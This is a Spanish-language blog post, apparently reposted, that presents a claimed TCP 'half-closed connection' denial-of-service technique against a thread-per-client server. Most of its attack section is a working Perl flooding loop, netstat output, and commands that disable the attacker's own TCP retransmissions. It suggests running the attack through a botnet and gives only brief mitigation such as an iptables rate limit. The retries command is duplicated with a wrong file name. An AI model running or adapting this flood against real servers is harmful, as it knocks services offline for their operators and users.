Vulnerando TCP parte 1 (0day)

Normalmente cuando se habla de TCP y su funcionamiento, se habla de flags (SYN, ACK, etc), pero TCP tiene muchas más cosas implicadas para su funcionamiento, por ejemplo la pila TCP debe de llevar un control del estado de la conexión (ESTABLISHED, SYN_SENT, SYN_RECV, CLOSED, etc.) de modo que no todo es simplemente paquetes TCP que van de un punto a otro los que crean una conexión. La mayoría de los ataques de denegación de servicio a TCP se basan de conexiones semi-abiertas (SYN Flood por ejemplo), lo cual permite que un ataque sea “anonimo” pues se puede realizar mediante paquetes SYN con un origen (IP) diferente a la del atacante. Existe una variedad de ataques no tan documentados que se realizan mediante conexiones semi-cerradas, es decir, que requieren que antes se establezca una conexión valida, la diferencia con estos ataques es que no son tan “anonimos” porque el origen “debe” ser real (debido a los mecanismos de seguridad de TCP, seqnum por ejemplo) esto sin embargo no impide que ataque se realice mediante una botnet (quedaría la IP del zombie, no la del atacante), sin más introducción a este tema comenzaremos a explicar los ataques “semi-cerrados”:

Necesitamos un servidor TCP que nos facilite el trabajo, en este caso el servidor simplemente dormirá 10 segundos cuando reciba la cadena “sleep”, envía el mensaje “Awake!” y después de esto cerrará la conexión:
use IO::Socket;

use threads;

sub clientes {

my ($client) = @_;

while(<$client>) {

if($_ =~ /sleep/){

print "Durmiendo 10 segs...\n";

sleep(10);

}

}

print $client “Awake!\n”;

print “Cerrando conexión...\n";

close($client)

}

my $sock = new IO::Socket::INET (

LocalPort => '8080',

Proto => 'tcp',

Listen => 2,

Reuse => 1,

);

die "Could not create socket: $!\n" unless $sock;

while(my $new_sock = $sock->accept()) {

print "Nuevo cliente (".$new_sock->peerhost().") :D\n";

threads->create('clientes', $new_sock);

}

close($sock);

 

El código a simple vista no parece vulnerable, sin embargo, lo es.

 
Zer0-null:/home/xianur0 # nc -vvvv localhost 8080

nc: connect to localhost port 8080 (tcp) failed: Connection refused

Connection to localhost 8080 port [tcp/http-alt] succeeded!

sleep

^C

 

Conectamos al 8080 con netcat, enviamos la palabra sleep y finalizamos con ctrl+c (sin esperar 10 segundos) el resultado:

 
Zer0-null:/home/xianur0 # perl server.pl

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

Cerrando conexión...

El servidor esperó 10 segundos antes de enviar el mensaje e intentar cerrar la conexión (que ya estaba cerrada) esto es, el servidor consumió recursos estando ya el socket cerrado, hasta ahora el ataque no tiene gracia, pero si lo realizamos a mayor escala, obtendremos resultados bastante interesantes:
use IO::Socket;

while(1){

my $sock = new IO::Socket::INET (

PeerAddr => 'localhost',

PeerPort => '8080',

Proto => 'tcp') || die("No se puede conectar!\n");

print $sock "sleep\n";

close($sock);

}

Zer0-null:/home/xianur0 # perl server.pl

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

 

Nuevo cliente (127.0.0.1) :D

[…]

Zer0-null:/home/xianur0 # netstat | grep -i CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36338         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36324         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36330         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36320         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36323         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36322         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36313         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36327         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36339         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36331         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36317         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36328         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36319         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36335         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36334         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36318         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36341         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36314         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36315         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36316         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36321         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36325         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36333         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36336         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36340         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36329         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36326         CLOSE_WAIT

CLOSE_WAIT se sigue considerando como una conexión abierta, entonces ese servidor tiene en este caso algo así como 28 conexiones abiertas, en nuestro caso solo utilizamos 1 conexión por vez, lo cual es una cantidad de recursos bastante menor, en cuanto el servidor cierra las conexiones dejan de aparecer esos CLOSE_WAIT y expira... eso no es totalmente cierto, todos los sistemas que soportan TCP implementan las retransmisiones, lo cual es reenviar el mismo paquete x cantidad de veces esperando una respuesta (esto se creó debido a que puede haber perdida de datos a través de la red), el detalle es que cuando una conexión pasa a los estados CLOSE_WAIT, FIN_WAIT y similares comienza a hacer retransmisiones (intentando enviar un dato o cerrar la conexión).

¿El peligro de esto?

Supongamos que con una sola conexión logramos generarle al servidor aproximadamente 28 conexiones a medio cerrar, esto también es 28 hilos, consumiendo recursos (incluso tener una conexión abierta consume recursos pues la pila reserva un espacio de memoria por conexión), si utilizamos 10 conexiones serían aproximadamente 280 conexiones al mismo tiempo a medio cerrar en el servidor, adicional a 280 hilos que están ejecutando “sleep 10;”, adicional a todo esto tenemos la retransmisiones que según el sistema operativo (y la configuración de la pila TCP) pueden repetir hasta 15 veces (o incluso más) por defecto.

En linux podemos conocer este número mediante los archivos:
/proc/sys/net/ipv4/tcp_retries1 (min)

/proc/sys/net/ipv4/tcp_retries2 (max)

¿Se pueden hacer más eficiente este ataque?

Las retransmisiones son uno de los mayores peligros, pues si las retransmisiones llevan datos muy grandes pueden afectar nuestra banda o incluso las retransmisiones generadas por nuestro propio sistema (sí, el atacante también pueden generar retransmisiones) pueden afectarnos.
echo 0 > /proc/sys/net/ipv4/tcp_retries1

echo 0 > /proc/sys/net/ipv4/tcp_retries1

De este modo desactivamos la retransmisiones hasta el próximo reinicio.

¿Se puede corregir este “bug”?

No hay forma de corregir este ataque aun pues es un problema en la pila tcp y no se ha creado un parche funcional, además de que el problema implica a la capa de aplicación también (que es donde se ejecuta el servidor que “configura” a la pila), se pueden disminuir las retransmisiones en el servidor para disminuir los efectos, pero eso no solucionaría el problema por completo.

Otra cosa que puede ayudar es limitar la cantidad de conexiones por IP:
iptables -A INPUT -p tcp -m tcp --dport 8080 -m limit --limit 10/sec -j ACCEPT

Nuevamente esto no soluciona las cosas por completo, pero ayuda a disminuir los efectos.

Pruebas de concepto de este ataque en servidores reales:



By Xianur0

Penulis : Megabyte ~ Sebuah blog yang menyediakan berbagai macam informasi

Artikel Vulnerando TCP parte 1 (0day) ini dipublish oleh Megabyte pada hari sábado, 12 de enero de 2013. Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar.sudah ada 0 komentar: di postingan Vulnerando TCP parte 1 (0day)
 

0 comentarios:

Publicar un comentario